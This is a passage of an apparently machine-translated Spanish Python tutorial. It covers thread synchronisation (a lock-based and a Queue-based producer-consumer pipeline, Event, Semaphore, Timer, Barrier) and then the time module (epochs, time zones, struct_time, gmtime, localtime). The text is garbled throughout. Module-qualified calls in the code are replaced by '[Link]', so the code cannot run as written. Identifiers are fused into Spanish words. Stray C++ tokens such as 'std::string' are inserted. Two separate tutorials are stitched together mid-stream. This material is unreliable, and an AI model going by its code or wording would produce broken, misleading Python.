2. .producer_lockes un [Link] que restringe el
acceso al mensaje por parte del producerhilo.
3. .consumer_lockTambién es una [Link]ón que
limita el acceso al mensaje por parte del consumerhilo.
__init__()Inicializa estos tres miembros y luego llama .acquire()a la
función .consumer_lock. Este es el estado inicial deseado. La producerfunción
puede agregar un nuevo mensaje, pero la función consumerdebe esperar hasta que
haya un mensaje presente.
.get_message()y .set_messages()son casi opuestos. Esta es
la .get_message()llamada que hará que el sistema espere hasta que un mensaje esté
listo..acquire()consumer_lockconsumer
Una vez que el sistema consumerha adquirido el bloqueo .consumer_lock, copia
el valor en la .messagevariable y luego llama .release()a la
función .producer_lock. Liberar este bloqueo es lo que permite al
sistema producerinsertar el siguiente mensaje en la variable pipeline.
Antes de continuar .set_message(), hay algo sutil en .get_message()la
función que es fácil pasar por alto. Puede parecer tentador eliminar `if` messagey que
la función termine simplemente con `if` return [Link]. Intenta averiguar por
qué no quieres hacerlo antes de seguir.
Aquí está la respuesta. Tan pronto como se realiza
la consumerllamada .producer_lock.release(), se puede intercambiar y la
función producerpuede comenzar a ejecutarse. ¡Esto podría ocurrir antes de
que .release()la función devuelva un valor! Esto significa que existe una pequeña
posibilidad de que, cuando la función devuelva un valor [Link], este sea
el siguiente mensaje generado, por lo que se perdería el primer mensaje. Este es otro
ejemplo de una condición de carrera.
Pasando a otro punto .set_message(), se puede ver la otra cara de la transacción.
Se producerllamará a esta función con un mensaje. Se adquirirá el
valor .producer_lock, se establecerá el valor .messagey .release()luego se
llamará a la función consumer_lock, lo que permitirá consumerleer ese valor.
Ejecutemos el código con el registro activado WARNINGy veamos qué aspecto tiene:
$ ./prodcom_lock.py
Producer got data 43
Producer got data 45
Consumer storing data: 43
Producer got data 86
Consumer storing data: 45
Producer got data 40
Consumer storing data: 86
Producer got data 62
Consumer storing data: 40
Producer got data 15
Consumer storing data: 62
Producer got data 16
Consumer storing data: 15
Producer got data 61
Consumer storing data: 16
Producer got data 73
Consumer storing data: 61
Producer got data 22
Consumer storing data: 73
Consumer storing data: 22
Al principio, puede parecer extraño que el productor reciba dos mensajes antes de que el
consumidor se ejecute. Si revisas el código producer, .set_message()observarás
que el único momento en que espera un Lockmensaje es cuando intenta insertarlo en la
canalización. Esto ocurre después de que el consumidor producerrecibe el mensaje y
registra que lo ha recibido.
Cuando se producerintente enviar este segundo mensaje, se
realizará .set_message()una segunda llamada y se bloqueará.
El sistema operativo puede intercambiar hilos en cualquier momento, pero generalmente
permite que cada hilo tenga un tiempo razonable para ejecutarse antes de realizar el
intercambio. Por eso, producernormalmente se ejecuta hasta que se bloquea en la
segunda llamada a .set_message().
Sin embargo, una vez que un hilo se bloquea, el sistema operativo siempre lo reemplazará y
encontrará otro hilo para ejecutar. En este caso, el único otro hilo con algo que hacer es
el consumer.
Las consumerllamadas .get_message(), que leen el mensaje y
llaman .release()a .producer_lock, permiten que producerse ejecute de
nuevo la próxima vez que se intercambien los hilos.
Observe que el primer mensaje fue 43, y eso es exactamente lo que consumerleyó ,
aunque producerya había generado el 45mensaje.
Si bien funciona para esta prueba limitada, no es una buena solución al problema
productor-consumidor en general, ya que solo permite un valor en el flujo de datos a la vez.
Cuando producerrecibe una ráfaga de mensajes, no tendrá dónde almacenarlos.
Pasemos a una mejor manera de resolver este problema, utilizando un Queue.
Uso de la relación productor-consumidor Queue
Si quieres poder manejar más de un valor en la canalización a la vez, necesitarás una
estructura de datos para la canalización que permita que el número crezca y se reduzca a
medida que los datos se acumulan desde el producer.
La biblioteca estándar de Python tiene un queuemódulo que, a su vez, tiene
una Queueclase. Cambiemos la clase Pipelinepara usar un `std::string` Queueen
lugar de una simple variable protegida por un `std:: Lockstring`. También usarás una
forma diferente de detener los hilos de trabajo mediante un tipo primitivo distinto de
Python threading: un `std::string` Event.
Comencemos con el objeto `EventListener` Event. Este [Link]
permite que un hilo señalice un evento eventmientras que muchos otros hilos pueden
estar esperando a que esto eventocurra. La clave de este código reside en que los hilos
que esperan el evento no necesitan interrumpir su ejecución; simplemente pueden
comprobar el estado del evento Eventperiódicamente.
El desencadenante del evento puede ser cualquiera de las dos cosas. En este ejemplo, el hilo
principal simplemente se suspenderá durante un tiempo y luego .set():
if __name__ == "__main__":
format = "%(asctime)s: %(message)s"
[Link](format=format, level=[Link],
datefmt="%H:%M:%S")
# [Link]().setLevel([Link])
pipeline = Pipeline()
event = [Link]()
with [Link](max_workers=2) as executor:
[Link](producer, pipeline, event)
[Link](consumer, pipeline, event)
[Link](0.1)
[Link]("Main: about to set event")
[Link]()
Los únicos cambios aquí son la creación del eventobjeto en la línea 8,
pasarlo eventcomo parámetro en las líneas 10 y 11, y la sección final en las líneas 13 a
15, que espera un segundo, registra un mensaje y luego llama .set()al evento.
Tampoco producertuvieron que cambiar demasiado:
def producer(pipeline, event):
"""Pretend we're getting a number from the network."""
while not event.is_set():
message = [Link](1, 101)
[Link]("Producer got message: %s", message)
pipeline.set_message(message, "Producer")
[Link]("Producer received EXIT event. Exiting")
Ahora se repetirá hasta que detecte que el evento se configuró en la línea 3. Además, ya no
introduce el SENTINELvalor en el pipeline.
consumerTuvo que cambiar un poco más:
def consumer(pipeline, event):
"""Pretend we're saving a number in the database."""
while not event.is_set() or not [Link]():
message = pipeline.get_message("Consumer")
[Link](
"Consumer storing message: %s (queue size=%s)",
message,
[Link](),
)
[Link]("Consumer received EXIT event. Exiting")
Si bien lograste eliminar el código relacionado con el SENTINELvalor, tuviste que
implementar una whilecondición un poco más compleja. No solo se repite hasta
que eventse establece el valor, sino que también debe continuar repitiéndose hasta
que pipelinese vacía.
Asegurarse de que la cola esté vacía antes de que el consumidor termine evita otro
problema. Si el consumidor consumerfinaliza mientras pipelinecontiene mensajes,
pueden ocurrir dos cosas. Primero, se pierden esos últimos mensajes, pero lo más grave es
que el consumidor producerpuede quedar atrapado intentando agregar un mensaje a una
cola llena y no regresar jamás.
Esto sucede si eventse activa después de que producerse haya comprobado
la .is_set()condición pero antes de que se llame a pipeline.set_message().
Si eso ocurre, es posible que el consumidor se active y finalice con la cola aún
completamente llena. producerA continuación, se llamará a .set_message()una
función que esperará hasta que haya espacio en la cola para el nuevo
mensaje. consumerComo el consumidor ya ha finalizado, esto no sucederá y la
función producerno finalizará.
El resto consumerdebería resultarte familiar.
Sin embargo, la situación Pipelineha cambiado drásticamente:
class Pipeline([Link]):
def __init__(self):
super().__init__(maxsize=10)
def get_message(self, name):
[Link]("%s:about to get from queue", name)
value = [Link]()
[Link]("%s:got %d from queue", name, value)
return value
def set_message(self, value, name):
[Link]("%s:about to add %d to queue", name, value)
[Link](value)
[Link]("%s:added %d to queue", name, value)
Como puede verse, Pipelinees una subclase de [Link]. QueueTiene un
parámetro opcional al inicializar para especificar un tamaño máximo de la cola.
Si se especifica un número positivo para `n` maxsize, la cola se limitará a esa cantidad
de elementos, lo que provocará .put()que el proceso se bloquee hasta que haya menos de
` maxsizen` elementos. Si no se especifica `n` maxsize, la cola crecerá hasta
alcanzar los límites de la memoria del ordenador.
.get_message()y .set_message()se hicieron mucho más pequeños.
Básicamente, se envuelven .get()y .put()se superponen Queue. Quizás te preguntes
dónde fue a parar todo el código de bloqueo que evita que los hilos provoquen condiciones
de carrera.
Los desarrolladores principales que escribieron la biblioteca estándar sabían que
`a` Queuese usa con frecuencia en entornos multihilo e incorporaron todo ese código de
bloqueo dentro de la Queuepropia biblioteca. `a` Queuees seguro para subprocesos.
La ejecución de este programa se ve así:
$ ./prodcom_queue.py
Producer got message: 32
Producer got message: 51
Producer got message: 25
Producer got message: 94
Producer got message: 29
Consumer storing message: 32 (queue size=3)
Producer got message: 96
Consumer storing message: 51 (queue size=3)
Producer got message: 6
Consumer storing message: 25 (queue size=3)
Producer got message: 31
[many lines deleted]
Producer got message: 80
Consumer storing message: 94 (queue size=6)
Producer got message: 33
Consumer storing message: 20 (queue size=6)
Producer got message: 48
Consumer storing message: 31 (queue size=6)
Producer got message: 52
Consumer storing message: 98 (queue size=6)
Main: about to set event
Producer got message: 13
Consumer storing message: 59 (queue size=6)
Producer received EXIT event. Exiting
Consumer storing message: 75 (queue size=6)
Consumer storing message: 97 (queue size=5)
Consumer storing message: 80 (queue size=4)
Consumer storing message: 33 (queue size=3)
Consumer storing message: 48 (queue size=2)
Consumer storing message: 52 (queue size=1)
Consumer storing message: 13 (queue size=0)
Consumer received EXIT event. Exiting
Si analizas la salida de mi ejemplo, verás que suceden cosas interesantes. Al principio, se
observa que producerse crearon cinco mensajes y se colocaron cuatro de ellos en la
cola. El sistema operativo los reemplazó antes de que se pudiera colocar el quinto.
A consumercontinuación, se ejecutó y extrajo el primer mensaje. Imprimió dicho
mensaje, así como la profundidad de la cola en ese momento:
Consumer storing message: 32 (queue size=3)
Así es como sabes que el quinto mensaje aún no ha llegado pipeline. La cola se ha
reducido a tres elementos tras eliminarse un mensaje. También sabes que la
cola queuepuede contener diez mensajes, por lo que el producerhilo no se
bloqueó queue. Fue reemplazado por el sistema operativo.
Nota: El resultado será diferente. Cambiará de una ejecución a otra. ¡Esa es la parte
divertida de trabajar con hilos!
Cuando el programa empieza a finalizar, ¿puedes ver que el hilo principal genera el
archivo eventque provoca su producersalida inmediata? El
programa consumeraún tiene mucho trabajo por hacer, así que sigue ejecutándose
hasta que haya limpiado el archivo pipeline.
Prueba a jugar con diferentes tamaños de cola y llamadas a
` [Link]()in` producero `in` consumerpara simular tiempos de acceso a la
red o al disco más largos, respectivamente. Incluso pequeños cambios en estos elementos
del programa producirán grandes diferencias en los resultados.
Esta es una solución mucho mejor al problema productor-consumidor, pero se puede
simplificar aún más. PipelineRealmente no es necesario para este problema. Una vez
que se elimina el registro, simplemente se convierte en un [Link].
Así es como se ve el código final usándolo [Link]:
import [Link]
import logging
import queue
import random
import threading
import time
def producer(queue, event):
"""Pretend we're getting a number from the network."""
while not event.is_set():
message = [Link](1, 101)
[Link]("Producer got message: %s", message)
[Link](message)
[Link]("Producer received event. Exiting")
def consumer(queue, event):
"""Pretend we're saving a number in the database."""
while not event.is_set() or not [Link]():
message = [Link]()
[Link](
"Consumer storing message: %s (size=%d)", message, [Link]()
)
[Link]("Consumer received event. Exiting")
if __name__ == "__main__":
format = "%(asctime)s: %(message)s"
[Link](format=format, level=[Link],
datefmt="%H:%M:%S")
pipeline = [Link](maxsize=10)
event = [Link]()
with [Link](max_workers=2) as executor:
[Link](producer, pipeline, event)
[Link](consumer, pipeline, event)
[Link](0.1)
[Link]("Main: about to set event")
[Link]()
Es más fácil de leer y muestra cómo el uso de las funciones primitivas integradas de Python
puede simplificar un problema complejo.
LockSon Queueclases útiles para resolver problemas de concurrencia, pero la
biblioteca estándar ofrece otras. Antes de finalizar este tutorial, hagamos un breve repaso
de algunas de ellas.
Objetos de enhebrado
El módulo de Python ofrece algunas funciones primitivas adicionales threading. Si
bien no las necesitaste para los ejemplos anteriores, pueden resultar útiles en diferentes
casos, por lo que conviene familiarizarse con ellas.
Semáforo
El primer threadingobjeto de Python que vamos a analizar es un
contador [Link]. Un Semaphorecontador tiene algunas
propiedades especiales. La primera es que su conteo es atómico. Esto significa que se
garantiza que el sistema operativo no cambiará de hilo mientras se incrementa o
decrementa el contador.
El contador interno se incrementa cuando se llama .release()y se decrementa cuando se
llama .acquire().
La siguiente propiedad especial es que si un hilo realiza una llamada .acquire()cuando
el contador es cero, ese hilo se bloqueará hasta que otro hilo realice una
llamada .release()e incremente el contador a uno.
Los semáforos se utilizan frecuentemente para proteger recursos con capacidad limitada.
Un ejemplo sería tener un conjunto de conexiones y querer limitar su tamaño a un número
específico.
Minutero
Un bucle [Link] una forma de programar la ejecución de una función
después de que haya transcurrido un cierto período de tiempo. Se crea un Timerbucle
especificando el número de segundos que se deben esperar y la función que se va a llamar:
t = [Link](30.0, my_function)
Para comenzar, debes Timerllamar a .start()la función. Esta se ejecutará en un nuevo
hilo en algún momento después del tiempo especificado, pero ten en cuenta que no hay
garantía de que se ejecute exactamente en el momento que deseas.
Si quieres detener una operación Timerque ya has iniciado, puedes cancelarla llamando a
`cancel()` .cancel(). Llamar a `cancel()` .cancel()después de que la
operación Timerse haya iniciado no tiene ningún efecto ni genera una excepción.
Se Timerpuede usar un evento para solicitar una acción al usuario después de un tiempo
determinado. Si el usuario realiza la acción antes de que Timerexpire el
evento, .cancel()se puede llamar a otro evento.
Barrera
Un bloque `a` [Link] utilizarse para mantener sincronizado un
número fijo de hilos. Al crear un bloque `a` Barrier, quien lo invoca debe especificar
cuántos hilos se sincronizarán con él. Cada hilo llama .wait()a `on` en el bloque
`a` Barrier. Todos permanecerán bloqueados hasta que el número especificado de hilos
esté en espera, momento en el que se liberan simultáneamente.
Recuerda que los hilos son programados por el sistema operativo, por lo que, aunque todos
los hilos se liberen simultáneamente, se programarán para ejecutarse uno a la vez.
Una de las aplicaciones de `a` Barrieres permitir que un grupo de hilos se inicialicen. Al
hacer que los hilos esperen a que `a` Barrierse inicialice después de su inicialización, se
garantiza que ninguno comience a ejecutarse antes de que todos hayan finalizado su
proceso
Time: python
El timemódulo `time` de Python ofrece diversas maneras de representar el tiempo en el
código, como objetos, números y cadenas de texto. También proporciona otras
funcionalidades además de la representación del tiempo, como la posibilidad de esperar
durante la ejecución del código y medir su eficiencia.
Este artículo le guiará a través de las funciones y objetos más utilizados en time.
Al finalizar este artículo, podrás:
Comprender los conceptos básicos para trabajar con fechas y horas, como épocas,
zonas horarias y horario de verano.
Representa el tiempo en el código utilizando números de punto flotante, tuplas
ystruct_time
Convertir entre diferentes representaciones de tiempo
Suspender la ejecución del hilo
Mide el rendimiento del código usandoperf_counter()
Comenzarás aprendiendo cómo puedes usar un número de punto flotante para representar el
tiempo.
Bonificación gratuita: Haz clic aquí para obtener nuestra guía rápida gratuita de
Python que te muestra los conceptos básicos de Python 3, como trabajar con tipos de datos,
diccionarios, listas y funciones de Python.
Cómo trabajar con el tiempo en Python usando segundos
Una de las formas de gestionar el concepto de tiempo en Python dentro de tu aplicación es
utilizando un número de punto flotante que represente la cantidad de segundos
transcurridos desde el inicio de una era, es decir, desde un punto de partida determinado.
Profundicemos en lo que esto significa, por qué es útil y cómo puedes usarlo para
implementar lógica, basada en el tiempo de Python, en tu aplicación.
La época
En la sección anterior aprendiste que puedes manejar el tiempo en Python con un número
de punto flotante que representa el tiempo transcurrido desde el comienzo de una era.
Merriam-Webster define una era como:
Un punto fijo en el tiempo a partir del cual se cuenta una serie de años.
Un sistema de notación cronológica calculado a partir de una fecha
dada como base.
El concepto importante que hay que comprender aquí es que, al trabajar con el tiempo en
Python, se está considerando un período de tiempo identificado por un punto de inicio. En
informática, a este punto de inicio se le llama época .
La época, entonces, es el punto de partida con respecto al cual se puede medir el paso del
tiempo.
Por ejemplo, si define la época como la medianoche del 1 de enero de 1970 UTC (la época
tal como se define en Windows y la mayoría de los sistemas UNIX), entonces puede
representar la medianoche del 2 de enero de 1970 UTC como 86400segundos
transcurridos desde la época.
Esto se debe a que un minuto tiene 60 segundos, una hora 60 minutos y un día 24 horas. El
2 de enero de 1970 UTC es solo un día después de la época, por lo que se puede aplicar un
cálculo básico para llegar a esa conclusión.
>>> 60 * 60 * 24
86400
También es importante señalar que aún se puede representar el tiempo anterior a la época.
El número de segundos simplemente sería negativo.
Por ejemplo, se representaría la medianoche del 31 de diciembre de 1969 UTC (utilizando
una época del 1 de enero de 1970) en -86400segundos.
Si bien el 1 de enero de 1970 UTC es una época común, no es la única que se utiliza en
informática. De hecho, distintos sistemas operativos, sistemas de archivos y API a veces
utilizan épocas diferentes.
Como ya viste, los sistemas UNIX definen la época como el 1 de enero de 1970. La API de
Win32, por otro lado, define la época como el 1 de enero de 1601 .
Puedes usarlo [Link]()para determinar la época de tu sistema:
>>> import time
>>> [Link](0)
time.struct_time(tm_year=1970, tm_mon=1, tm_mday=1, tm_hour=0, tm_min=0,
tm_sec=0, tm_wday=3, tm_yday=1, tm_isdst=0)
Aprenderás sobre gmtime()esto struct_timea lo largo de este artículo. Por ahora,
basta con saber que puedes usar timeesta función para descubrir la época.
Ahora que comprendes mejor cómo medir el tiempo en segundos utilizando una época,
echemos un vistazo al timemódulo de Python para ver qué funciones ofrece que te
ayudan a hacerlo.
Tiempo en segundos en Python como número de punto flotante
En primer lugar, [Link]()devuelve el número de segundos transcurridos desde la
época. El valor devuelto es un número de coma flotante para tener en cuenta las fracciones
de segundo:
>>> from time import time
>>> time()
1551143536.9323719
El número que obtenga en su máquina puede ser muy diferente porque el punto de
referencia considerado como la época puede ser muy diferente.
Lecturas adicionales: Python 3.7 introdujo `std::unique_time` time_ns(), que devuelve
un valor entero que representa el mismo tiempo transcurrido desde la época, pero en
nanosegundos en lugar de segundos.
Medir el tiempo en segundos es útil por varias razones:
Puedes usar un número de punto flotante para calcular la diferencia
entre dos instantes de tiempo.
Un número de punto flotante es fácilmente serializable , lo que significa
que se puede almacenar para la transferencia de datos y llegar intacto
al otro lado.
Sin embargo, en ocasiones, es posible que desee ver la hora actual representada como una
cadena de texto. Para ello, puede pasar el número de segundos que obtiene de time()la
función a la función [Link]().
Tiempo en segundos en Python como cadena que representa la
hora local
Como viste anteriormente, es posible que desees convertir el tiempo de Python,
representado como el número de segundos transcurridos desde la época, a una cadena de
texto . Puedes hacerlo usando ctime():
>>> from time import time, ctime
>>> t = time()
>>> ctime(t)
'Mon Feb 25 19:11:59 2019'
Aquí, has registrado la hora actual en segundos en la variable t , y luego la has
pasado tcomo argumento a ctime(), que devuelve una representación en cadena de esa
misma hora.
Detalle técnico: El argumento, que representa los segundos transcurridos desde la época, es
opcional según la ctime()definición. Si no se proporciona ningún argumento,
se ctime()utiliza el valor devuelto time()por defecto. Por lo tanto, se podría
simplificar el ejemplo anterior:
>>> from time import ctime
>>> ctime()
'Mon Feb 25 19:11:59 2019'
La representación en cadena de la hora, también conocida como marca de tiempo , que
devuelve ctime()se formatea con la siguiente estructura:
1. Día de la semana: Mon ( Monday)
2. Mes del año: Feb ( February)
3. Día del mes: 25
4. Horas, minutos y segundos utilizando el formato de 24
horas : 19:11:59
5. Año: 2019
El ejemplo anterior muestra la marca de tiempo de un momento específico capturado desde
una computadora en la región centro-sur de los Estados Unidos. Pero supongamos que
usted vive en Sídney, Australia, y ejecutó el mismo comando en el mismo instante.
En lugar del resultado anterior, verías lo siguiente:
>>> from time import time, ctime
>>> t = time()
>>> ctime(t)
'Tue Feb 26 12:11:59 2019'
Observe que las partes day of week, day of month, y de la marca de tiempo son
diferentes a las del primer [Link]
Estos resultados son diferentes porque la marca de tiempo devuelta ctime()depende de
su ubicación geográfica.
Nota: Si bien el concepto de zonas horarias es relativo a su ubicación física, puede
modificarlo en la configuración de su computadora sin necesidad de mudarse.
La representación del tiempo en función de tu ubicación física se llama hora local y utiliza
un concepto llamado husos horarios .
Nota: Dado que la hora local depende de su configuración regional, las marcas de tiempo
suelen tener en cuenta detalles específicos de la configuración regional, como el orden de
los elementos en la cadena y las traducciones de las abreviaturas del día y del
mes. ctime()Ignora estos detalles.
Profundicemos un poco más en el concepto de zonas horarias para que puedas comprender
mejor las representaciones de tiempo en Python.
Comprender las zonas horarias
Una zona horaria es una región del mundo que se rige por una hora estandarizada. Las
zonas horarias se definen por su diferencia horaria con respecto al Tiempo Universal
Coordinado (UTC) y, en ocasiones, por la inclusión del horario de verano (que
analizaremos con más detalle más adelante en este artículo).
Dato curioso: Si eres hablante nativo de inglés, quizá te preguntes por qué la abreviatura
de «Tiempo Universal Coordinado» es UTC en lugar de la más obvia CUT. Sin embargo, si
eres hablante nativo de francés, la llamarías «Temps Universel Coordonné», lo que sugiere
una abreviatura diferente: TUC.
Finalmente, la Unión Internacional de Telecomunicaciones y la Unión Astronómica
Internacional llegaron a un acuerdo sobre UTC como abreviatura oficial para que,
independientemente del idioma, la abreviatura fuera la misma.
UTC y zonas horarias
UTC es el estándar horario con el que se sincronizan (o coordinan) todos los sistemas de
medición del tiempo del mundo. No es, en sí mismo, una zona horaria, sino un estándar
general que define qué son las zonas horarias.
La hora UTC se mide con precisión utilizando el tiempo astronómico , que se basa en la
rotación de la Tierra, y los relojes atómicos .
Las zonas horarias se definen por su diferencia horaria con respecto a UTC. Por ejemplo,
en América del Norte y del Sur, la zona horaria central (CT) está cinco o seis horas por
detrás de UTC y, por lo tanto, utiliza la notación UTC-5:00 o UTC-6:00.
Por otro lado, Sydney, Australia, pertenece a la zona horaria del este de Australia (AET),
que está diez u once horas adelantada con respecto a UTC (UTC+10:00 o UTC+11:00).
Esta diferencia (UTC-6:00 a UTC+10:00) es la razón de la variación que observó en las dos
salidas de ctime()los ejemplos anteriores:
Hora central (CT): 'Mon Feb 25 19:11:59 2019'
Hora del este de Australia (AET): 'Tue Feb 26 12:11:59 2019'
Estos horarios están separados exactamente por dieciséis horas, lo cual coincide con las
diferencias horarias mencionadas anteriormente.
Quizás te preguntes por qué CT puede estar cinco o seis horas por detrás de UTC o por qué
AET puede estar diez u once horas por delante. La razón es que algunas zonas del mundo,
incluidas partes de estas zonas horarias, observan el horario de verano.
Horario de verano
En general, los meses de verano tienen más horas de luz que los de invierno. Por ello, en
algunas zonas se aplica el horario de verano durante la primavera y el verano para
aprovechar mejor esas horas de luz.
En los lugares donde se aplica el horario de verano, los relojes se adelantarán una hora al
comienzo de la primavera (perdiendo efectivamente una hora). Luego, en otoño, los relojes
volverán al horario estándar.
Las letras S y D representan la hora estándar y el horario de verano en la notación de zonas
horarias:
Hora estándar central (CST)
Hora de verano del este de Australia (AEDT)
Cuando se representan las horas como marcas de tiempo en hora local, siempre es
importante considerar si se aplica o no el horario de verano.
ctime()tiene en cuenta el horario de verano. Por lo tanto, la diferencia de salida indicada
anteriormente sería más precisa de la siguiente manera:
Hora estándar central (CST): 'Mon Feb 25 19:11:59 2019'
Hora de verano del este de Australia (AEDT): 'Tue Feb 26
12:11:59 2019'
Manejo del tiempo en Python mediante estructuras de datos
Ahora que ya dominas muchos conceptos fundamentales del tiempo, incluyendo épocas,
zonas horarias y UTC, echemos un vistazo a otras formas de representar el tiempo
utilizando el timemódulo de Python.
Tiempo en Python como tupla
En lugar de usar un número para representar el tiempo en Python, puedes usar otra
estructura de datos primitiva: una tupla .
La tupla permite gestionar el tiempo un poco más fácilmente al abstraer algunos de los
datos y hacerlos más legibles.
Cuando representas el tiempo como una tupla, cada elemento de tu tupla corresponde a un
momento específico del tiempo:
1. Año
2. Mes como número entero, comprendido entre 1 (enero) y 12
(diciembre).
3. Día del mes
4. La hora como número entero, comprendido entre 0 (12 AM) y 23 (11
PM).
5. Minuto
6. Segundo
7. Día de la semana como número entero, comprendido entre 0 (lunes) y 6
(domingo).
8. Día del año
9. El horario de verano como un número entero con los siguientes valores:
o 1Es el horario de verano.
o 0es la hora estándar.
o -1Se desconoce.
Utilizando los métodos que ya has aprendido, puedes representar el mismo tiempo en
Python de dos maneras diferentes:
>>> from time import time, ctime
>>> t = time()
>>> t
1551186415.360564
>>> ctime(t)
'Tue Feb 26 07:06:55 2019'
>>> time_tuple = (2019, 2, 26, 7, 6, 55, 1, 57, 0)
En este caso, tanto tcomo time_tuplerepresentan el mismo tiempo, pero la tupla
proporciona una interfaz más legible para trabajar con componentes de tiempo.
Detalle técnico: En realidad, si observa el tiempo de Python representado
en time_tuplesegundos (lo que verá cómo hacer más adelante en este artículo), verá
que se resuelve en 1551186415.0lugar de 1551186415.360564.
Esto se debe a que la tupla no tiene forma de representar fracciones de segundo.
Si bien la tupla proporciona una interfaz más manejable para trabajar con el tiempo de
Python, existe un objeto aún mejor: struct_time.
Tiempo en Python como objeto
El problema con la estructura de tupla es que todavía parece un conjunto de números,
aunque esté mejor organizada que un único número basado en segundos.
struct_timeproporciona una solución a esto utilizando NamedTuple, del módulo
de Python collections, para asociar la secuencia de números de la tupla con
identificadores útiles:
>>> from time import struct_time
>>> time_tuple = (2019, 2, 26, 7, 6, 55, 1, 57, 0)
>>> time_obj = struct_time(time_tuple)
>>> time_obj
time.struct_time(tm_year=2019, tm_mon=2, tm_mday=26, tm_hour=7, tm_min=6,
tm_sec=55, tm_wday=1, tm_yday=57, tm_isdst=0)
Detalle técnico: Si vienes de otro idioma, los términos structy objectpodrían ser
contradictorios.
En Python, no existe un tipo de dato llamado struct. En cambio, todo es un objeto.
Sin embargo, el nombre struct_timese deriva de la biblioteca de tiempo basada en
C donde el tipo de datos es en realidad un struct.
De hecho, el módulo de Python time, que está implementado en C , lo
utiliza structdirectamente incluyendo el archivo de cabecera times.h.
Ahora, puedes acceder a elementos específicos time_obj utilizando el nombre del
atributo en lugar de un índice:
>>> day_of_year = time_obj.tm_yday
>>> day_of_year
57
>>> day_of_month = time_obj.tm_mday
>>> day_of_month
26
Más allá de la legibilidad y la usabilidad de struct_time, también es importante saberlo
porque es el tipo de retorno de muchas de las funciones del timemódulo de Python.
Convertir tiempo de Python en segundos a un objeto
Ahora que has visto las tres formas principales de trabajar con el tiempo en Python,
aprenderás a convertir entre los diferentes tipos de datos de tiempo.
La conversión entre tipos de datos de tiempo depende de si la hora está en UTC o en hora
local.
Tiempo Universal Coordinado (UTC)
La época utiliza UTC para su definición en lugar de una zona horaria. Por lo tanto, los
segundos transcurridos desde la época no varían según su ubicación geográfica.
Sin embargo, no se puede decir lo mismo de ` struct_timetime`. La representación de
objetos de tiempo en Python puede o no tener en cuenta tu zona horaria.
Hay dos maneras de convertir un número decimal que representa segundos a un valor de
punto flotante struct_time.
1. UTC
2. Hora local
Para convertir un valor de punto flotante de tiempo de Python a un valor basado en
UTC struct_time, el timemódulo de Python proporciona una función
llamada gmtime().
Ya lo has visto gmtime()mencionado una vez antes en este artículo:
>>> import time
>>> [Link](0)
time.struct_time(tm_year=1970, tm_mon=1, tm_mday=1, tm_hour=0, tm_min=0,
tm_sec=0, tm_wday=3, tm_yday=1, tm_isdst=0)
Utilizaste esta llamada para descubrir la época de tu sistema. Ahora tienes una mejor base
para comprender lo que realmente está sucediendo aquí.
gmtime()Convierte el número de segundos transcurridos desde la época
a struct_timeUTC. En este caso, has pasado `n` 0como número de segundos, lo que
significa que intentas encontrar la época en sí misma en UTC.
Nota: Observe que el atributo tm_isdstestá configurado en 0. Este atributo representa
si la zona horaria utiliza el horario de verano. UTC nunca se suscribe al horario de verano,
por lo que esta bandera siempre estará activada 0al usar gmtime().
Como ya viste, struct_timeno puede representar fracciones de segundo, por lo
que gmtime()ignora las fracciones de segundo en el argumento:
>>> import time
>>> [Link](1.99)
time.struct_time(tm_year=1970, tm_mon=1, tm_mday=1, tm_hour=0, tm_min=0,
tm_sec=1, tm_wday=3, tm_yday=1, tm_isdst=0)
Observe que, aunque el número de segundos transcurridos fue muy cercano a 2,
las .99fracciones de segundo simplemente se ignoraron, como se muestra
en tm_sec=1.
El secsparámetro gmtime()es opcional, lo que significa que se puede
llamar gmtime()sin argumentos. Al hacerlo, se proporcionará la hora actual en UTC:
>>> import time
>>> [Link]()
time.struct_time(tm_year=2019, tm_mon=2, tm_mday=28, tm_hour=12, tm_min=57,
tm_sec=24, tm_wday=3, tm_yday=59, tm_isdst=0)
Curiosamente, no existe una función inversa para esta función dentro de time. En su
lugar, tendrás que buscar en calendarel módulo de Python una función
llamada timegm():
>>> import calendar
>>> import time
>>> [Link]()
time.struct_time(tm_year=2019, tm_mon=2, tm_mday=28, tm_hour=13, tm_min=23,
tm_sec=12, tm_wday=3, tm_yday=59, tm_isdst=0)
>>> [Link]([Link]())
1551360204
timegm()Toma una tupla (o struct_time, ya que es una subclase de tupla) y
devuelve el número correspondiente de segundos transcurridos desde la época.
Contexto histórico: Si te interesa saber por qué timegm()no está en time, puedes ver
la discusión en el problema 6280 de Python .
En resumen, se añadió originalmente calendarporque timesigue de cerca la biblioteca
de tiempo de C (definida en time.h), que no contiene ninguna función equivalente. El
problema mencionado anteriormente propuso la idea de moverla o
copiarla timegm()a time.
Sin embargo, debido a los avances en la datetimebiblioteca, las inconsistencias en la
implementación parcheada de [Link](), y la cuestión de cómo manejar
entonces [Link](), los mantenedores rechazaron el parche y alentaron el
uso de datetimeen su lugar.
Trabajar con UTC es valioso en programación porque es un estándar. No tienes que
preocuparte por el horario de verano, la zona horaria ni la información de configuración
regional.
Dicho esto, hay muchos casos en los que querrás usar la hora local. A continuación, verás
cómo convertir segundos a hora local para poder hacerlo.
Hora local
En tu aplicación, es posible que necesites trabajar con la hora local en lugar de la hora
UTC. timeEl módulo de Python proporciona una función para obtener la hora local a
partir del número de segundos transcurridos desde la época llamada localtime().
La firma de localtime()es similar a gmtime()en que toma un secsargumento
opcional, que utiliza para construir un struct_timeusando su zona horaria local:
>>> import time
>>> [Link]()
1551448206.86196
>>> [Link](1551448206.86196)
time.struct_time(tm_year=2019, tm_mon=3, tm_mday=1, tm_hour=7, tm_min=50,
tm_sec=6, tm_wday=4, tm_yday=60, tm_isdst=0)
Tenga en cuenta que tm_isdst=0, dado que el horario de verano está relacionado con
la hora local, la hora tm_isdstcambiará entre [ hora local] 0y 1[hora local]
dependiendo de si el horario de verano es aplicable o no en ese momento. Dado
que tm_isdst=0[hora local], el horario de verano no se aplica el 1 de marzo de 2019.
En Estados Unidos, en 2019, el horario de verano comenzó el 10 de marzo. Por lo tanto,
para comprobar si el indicador de horario de verano cambiará correctamente, debe añadir 9
días de segundos al secsargumento.
Para calcular esto, se toma el número de segundos en un día (86.400) y se multiplica por 9
días:
>>> new_secs = 1551448206.86196 + (86400 * 9)
>>> [Link](new_secs)
time.struct_time(tm_year=2019, tm_mon=3, tm_mday=10, tm_hour=8, tm_min=50,
tm_sec=6, tm_wday=6, tm_yday=69, tm_isdst=1)
Ahora verás que la struct_timefecha que se muestra es el 10 de marzo de
2019. tm_isdst=1Además, observa que tm_hourtambién se ha adelantado, a 8en
